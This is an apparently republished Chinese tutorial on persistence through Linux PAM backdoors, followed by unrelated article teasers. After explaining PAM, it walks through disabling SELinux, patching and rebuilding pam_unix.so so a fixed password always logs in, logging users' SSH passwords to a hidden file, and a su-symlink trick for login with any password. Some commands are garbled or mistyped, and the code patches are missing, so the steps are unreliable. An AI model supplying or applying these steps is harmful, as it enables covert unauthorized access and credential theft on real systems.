持久化:利用Linux PAM创建后门

目录

Linux PAM详解

使用PAM创建SSH后门密码

利用PAM记录密码

利用PAM免密登录


Linux PAM详解

PAM(Pluggable Authentication Modules,可插入的身份验证模块)是Linux自带的一套与身份验证机制相关的库,可以将多种身份验证的方案几种于同一的程序接口,简单来说,在Linux中的其他应用程序可以通过调用PAM接口来完成身份验证工作,无需开发者重新构造认证模块

PAM允许各类的配置,主要有两种:

1、直接写入/etc.pam.conf,但是在新版本中这个文件默认是不存在的

2、将PAM配置文件放到/etc/pam.d根目录下

PAM配置文件默认如下,这里使用SSH的PAM文件做演示

[root@centos111 pam.d]# cat sshd
#%PAM-1.0
auth       required pam_sepermit.so
auth       required     pam_tally2.so deny =5 unlock_time=300
auth       substack     password-auth
auth       include      postlogin
# Used with polkit to reauthorize users in remote sessions
-auth      optional     pam_reauthorize.so prepare
account    required     pam_nologin.so
account    include      password-auth
password   include      password-auth
# pam_selinux.so close should be the first session rule
session    required     pam_selinux.so close
session    required     pam_loginuid.so
# pam_selinux.so open should only be followed by sessions to be executed in the user context
session    required     pam_selinux.so open env_params
session    required     pam_namespace.so
session    optional     pam_keyinit.so force revoke
session    include      password-auth
session    include      postlogin
# Used with polkit to reauthorize users in remote sessions
-session   optional     pam_reauthorize.so prepare

可以看到,大概有四种服务类型:auth、account、session、password,其中每个模块的具体功能如下:

验证类别:

auth:是 authentication (认证) 的缩写,所以这种类别主要用来检验使用者的身份验证,这种类别通常是需要口令来检验的, 所以后续接的模块是用来检验用户的身份。

account:账户模块接口,检查指定账户是否满足当前验证条件,检查账户是否到期等。

session:会话模块接口,用于管理和配置用户会话。会话在用户成功认证之后启动生效

password:密码模块接口,用于更改用户密码,以及强制使用强密码配置

控制标志:

required:若成功则带有 success (成功) 的标志,若失败则带有 failure 的标志,但不论成功或失败都会继续后续的验证流程。 由于后续的验证流程可以继续进行,因此相当有利于数据的登录 (log) ,这也是 PAM 最常使用 required 的原因。

requisite:若验证失败则立刻返回 failure 的标志,并终止后续的验证流程。若验证成功则带有 success 的标志并继续后续的验证流程。 这个项目与 required 最大的差异,就在于失败的时候还要不要继续验证下去。由于 requisite 是失败就终止, 因此失败时所产生的 PAM 信息就无法透过后续的模块来记录了。

sufficient:若验证成功则立刻回传 success 给原程序,并终止后续的验证流程;若验证失败则带有 failure 标志并继续后续的验证流程。 这玩意儿与 requisits 刚好相反!

optional :该模块返回的通过/失败结果被忽略。当没有其他模块被引用时,标记为optional模块并且成功验证时该模块才是必须的。

常用模块:

pam_securetty.so:

限制系统管理员 (root) 只能够从安全的 (secure) 终端机登陆;例如 tty1, tty2 等就是传统的终端机装置名称。那么安全的终端机配置呢? 就写在/etc/securetty 这个文件中。你可以查阅一下该文件, 就知道为什么 root 可以从 tty1~tty7 登陆,但却无法透过 telnet 登陆 Linux 主机了!

pam_nologin.so:

这个模块可以限制一般用户是否能够登陆主机之用。当/etc/nologin 这个文件存在时,则所有一般使用者均无法再登陆系统了!若 /etc/nologin 存在,则一般使用者在登陆时, 在他们的终端机上会将该文件的内容显示出来!所以,正常的情况下,这个文件应该是不能存在系统中的。 但这个模块对 root 以及已经登陆系统中的一般账号并没有影响。

pam_selinux.so:

SELinux 是个针对程序来进行细部管理权限的功能。由于 SELinux 会影响到用户运行程序的权限,因此我们利用 PAM 模块,将 SELinux 暂时关闭,等到验证通过后, 再予以启动!

pam_console.so:

当系统出现某些问题,或者是某些时刻你需要使用特殊的终端接口 (例如 RS232 之类的终端联机设备) 登陆主机时, 这个模块可以帮助处理一些文件权限的问题,让使用者可以透过特殊终端接口 (console) 顺利的登陆系统。

pam_loginuid.so:

我们知道系统账号与一般账号的 UID 是不同的!一般账号 UID 均大于500才合理。 因此,为了验证使用者的 UID 真的是我们所需要的数值,可以使用这个模块来进行规范!

pam_env.so:

用来配置环境变量的一个模块,如果你有需要额外的环境变量配置,可以参考/etc/security/pam_env.conf 这个文件的详细说明。

pam_unix.so:

这是个很复杂且重要的模块,这个模块可以用在验证阶段的认证功能,可以用在授权阶段的账号许可证管理, 可以用在会议阶段的登录文件记录等,甚至也可以用在口令升级阶段的检验!非常丰富的功能! 这个模块在早期使用得相当频繁喔!

pam_cracklib.so:

可以用来检验口令的强度!包括口令是否在字典中,口令输入几次都失败就断掉此次联机等功能,都是这模块提供的! 这玩意儿很重要!

使用PAM创建SSH后门密码

如何当前系统为centos,利用PAM之前需要关闭系统的selinux功能,此时可以使用以下命令临时关闭

setenforce 0

 

或者将 /etc/selinux/config文件内的SELINUX属性设置为disbaled实现永久关闭。

关闭后可以使用命令sestatus来查看是否关闭成功

使用命令rmp -qa | grepp pam来查看当前系统中PAM的版本

可以看到当前pam的版本为1.1.8,那么接下来需要下载该版本的PAM云阿妈并且进行修改,源码可以通过Linux-pam网站获取:

blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云 (aliyun.com)

下载完成后上传到目标主机使用下列命令解压压缩包。

tar -xvf Linux-PAM-1.1.8.tar

然后使用下列命令下载编译工具

yum install flex gcc flex-devel -y

准备工作完成后,我们可以使用vim修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c中的第181行

修改前:

修改后:

这段代码的意思是,判断输入的密码是否为root,如果是root则直接通过验证

修改完成后运行下列命令来编译:

./configure --prefix=/usr --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

 

编译成功会生成pam_unix.so的动态链接库文件,该文件存放于Linux-PAM-1.1.8/modules/pam_unix/.libs根目录下

cd Linux-PAM-1.1.8/modules/pam_unix/.libs

使用find命令去寻找系统原有的pam_unix.so文件:

find / -name "pam_uninx.so"

可以看到原有的文件存放的路径:

然后使用下列命令将SSH后门的密码的pam_unixso替换掉系统原有的pam_unix.so文件

cp Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

文件替换成功后,我们使用原密码和root密码都可以成功登录

利用PAM记录密码

此方法需要修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c中的第181行

修改如下:

修改后的代码将用户使用SSH登录时的密码记录到了/tmp/.sshlog文件中,随后进行编译并且替换,当用户登录之后,攻击者读取/tmp/.sshlog便可以看到记录的账号密码

利用PAM免密登录

在目标主机上执行下列命令,随后使用SSH进行登录,会发现输入任意密码都可以登录

ln -sf /usr/sshd/tmp/su;/tmp/su -oport=12345

 

这里的密码随便输入,然后就可以成功登录

除了su以外,还有很多程序的PAM中配置了auth sufficient pam_rootok.so,使用命令

ls /etc/pam.d/ | xargs grep "pam_rootok"

来查找当前拥有这一条配置的PAM配置文件

软连接这些文件以实现任意密码登录系统

到此使用Linux PAM创建后门就演示完毕了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/394415.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

5、Linux 常用指令

一、帮助指令 1.man 指令 语法 man [命令或配置文件] //功能描述:获得帮助手册上的信息查看 ls 命令的帮助信息 man ls信息作用NAME命令名称SYNOPSIS如何使用命令DESCRIPTION描述命令SEE ALSO相关的手册 2.help 指令 语法 help [命令] //功能描述:获得…

elementui 中 el-date-picker 控制选择当前年之前或者之后的年份

文章目录 需求分析 需求 对 el-date-picker控件做出判断控制 分析 给 el-date-picker 组件添加 picker-options 属性&#xff0c;并绑定对应数据 pickerOptions html <el-form-item label"雨量年份&#xff1a;" prop"date"><el-date-picker …

vm centos7 docker 安装 mysql 5.7.28(2024-02-18)

centos系统版本 [rootlocalhost mysql5.7]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) docker版本 拉取指定版本镜像 docker pull mysql:5.7.28 docker images 创建挂载目录&#xff08;数据存储在centos的磁盘上&#xff09; mkdir -p /app/softwa…

保护您的数据:如何应对.mallab勒索病毒的数据加密?

导言&#xff1a; 数据安全已经成为企业和个人都必须高度重视的问题。然而&#xff0c;网络犯罪分子的不断进化使得数据安全变得更加严峻。其中一种常见的威胁是勒索软件&#xff0c;而.dataru勒索病毒就是其中之一。本文将介绍.dataru勒索病毒的特征&#xff0c;以及如何恢复…

java实现排序算法(上)

排序算法 冒泡排序 时间和空间复杂度 要点 每轮冒泡不断地比较比较相邻的两个元素,如果它们是逆序的,则需要交换它们的位置下一轮冒泡,可以调整未排序的右边界,减少不必要比较 代码 public static int[] test(int[] array) {// 外层循环控制遍历次数for (int i 0; i <…

【DDD】学习笔记-领域服务

聚合的三个问题 按照面向对象设计原则&#xff0c;需要将“数据与行为封装在一起”&#xff0c;避免将领域模型对象设计为贫血对象。如此一来&#xff0c;聚合内的实体与值对象承担了与其数据相关的领域行为逻辑。聚合满足了领域概念的完整性、独立性与不变量&#xff0c;体现…

小白水平理解面试经典题目LeetCode 1025 Divisor Game【动态规划】

1025 除数游戏 小艾 和 小鲍 轮流玩游戏&#xff0c;小艾首先开始。 最初&#xff0c;黑板上有一个数字 n 。在每个玩家的回合中&#xff0c;该玩家做出的动作包括&#xff1a; 选择任意 x&#xff0c;使 0 < x < n 和 n % x 0 。将黑板上的数字 n 替换为 n - x 。 此…

【HarmonyOS】【DevEco ohpm ERROR: NOTFOUND package “@ohos/hypium“如何解决

参考 &#xff1a;&#xff08;无效&#xff09; 华为开发者论坛 DevEco创建项目时的错误解决_6 月 优质更文活动_路北路陈_InfoQ写作社区 解决&#xff1a; HormonyOS-DevEco Studio新建空项目ERROR解决_oh_modules\ohos\hypium-CSDN博客 将 .ohpm文件夹中的hypium文件夹复…

如何引导llm为自己写prompt生成剧本

如何使用写prompt让你自己生一个狗血修仙穿越短剧&#xff0c;且短剧有趣生动让人流连忘返 好的&#xff0c;我会尝试编写一个狗血修仙穿越短剧的prompt&#xff0c;以激发你的想象力&#xff0c;让你创作出一个既有趣又生动的短剧。以下是我的prompt&#xff1a; 标题&#x…

gem5学习(23):经典缓存——Classic Caches

目录 一、Interconnects 1、Crossbars 二、Debugging 默认缓存是一个带有MSHR&#xff08;未命中状态保持寄存器&#xff09;和WB&#xff08;写缓冲区&#xff09;的非阻塞缓存&#xff0c;用于读取和写入未命中。缓存还可以启用预取&#xff08;通常在最后一级缓存中&…

java.sql.SQLException: No operations allowed after statement closed.

背景 某天下午&#xff0c;客服反馈线上服务出现问题&#xff0c;不能分配了。于是我登录到系统上&#xff0c;进行同样的操作发现也不行。当然同时我已经登录到服务器打开了日志&#xff0c;发现报错了&#xff0c;下面就是日志的错误信息&#xff1a; java.sql.SQLExceptio…

Swagger-的使用

Swagger-的使用 前言效果1、相关依赖2、相关注解2.1 Tag设置整个类的名称和详情2.2 Operation描述具体的方法2.3 Parameter 描述参数2.4Schema 为属性添加注释 3、Docket配置3.1通过gropeediopenapi进行分组3.2 通过docsOpenApi设置 前言 在我们和前端进行交互的时候&#xff…

ChatGPT高效提问—prompt实践(白领助手)

ChatGPT高效提问—prompt实践&#xff08;白领助手&#xff09; ​ 随着社会的不断发展&#xff0c;白领的比例越来越高。白领的工作通常较为繁忙&#xff0c;需要管理复杂的项目。工作量大、要求高、任务紧急&#xff0c;时间分配不当部分可能导致工作效率低下&#xff0c;任…

【AGI视频】Sora的奇幻之旅:未来影视创作的无限可能

在五年后的未来&#xff0c;科技的发展为影视创作带来了翻天覆地的变化。其中&#xff0c;Sora视频生成软件成为了行业的翘楚&#xff0c;引领着全新的创作潮流。Sora基于先进的Transformer架构&#xff0c;将AI与人类的创造力完美结合&#xff0c;为观众带来了前所未有的视听盛…

OpenAI:Sora视频生成模型技术报告(中文)

概述 视频生成模型作为世界模拟器 我们探索视频数据生成模型的大规模训练。具体来说&#xff0c;我们在可变持续时间、分辨率和宽高比的视频和图像上联合训练文本条件扩散模型。我们利用transformer架构&#xff0c;在视频和图像潜在代码的时空补丁上运行。我们最大的模型Sor…

使用倒模耳机壳UV树脂胶液制作HIFI耳机隔音降噪耳机壳有哪些缺点?

虽然使用倒模耳机壳UV树脂胶液制作HIFI耳机隔音降噪耳机壳有很多优点&#xff0c;但也存在一些缺点和需要注意的事项&#xff1a; 技术要求高&#xff1a;制作过程需要一定的技术和经验&#xff0c;如模具制作、树脂混合和填充等。如果没有足够的经验和技巧&#xff0c;可能会…

浅谈js事件机制

事件是什么&#xff1f;事件模型&#xff1f; 原始事件模型&#xff08;DOM0级&#xff09; HTML代码中指定属性值&#xff1a;在js代码中指定属性值&#xff1a;优点&#xff1a;缺点&#xff1a; IE 事件模型DOM2事件模型 对事件循环的理解 宏任务&#xff08;Macrotasks&…

WSL安装Ubuntu22.04,以及深度学习环境的搭建

安装WSL 安装 WSL 2 之前&#xff0c;必须启用“虚拟机平台”可选功能。 计算机需要虚拟化功能才能使用此功能。 以管理员身份打开 PowerShell 并运行&#xff1a; dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart下载 Linux 内核更…

【开源】SpringBoot框架开发服装店库存管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 角色管理模块2.3 服装档案模块2.4 服装入库模块2.5 服装出库模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 角色表3.2.2 服装档案表3.2.3 服装入库表3.2.4 服装出库表 四、系统展示五、核心代码5.…

C++学习Day05之递增运算符重载

目录 一、程序及输出1.1 前置重载1.2 后置重载 二、分析与总结 一、程序及输出 1.1 前置重载 #include<iostream> using namespace std;class MyInter {friend ostream& operator<<(ostream& cout, MyInter& myInt); public:MyInter(){m_Num 0;}//前…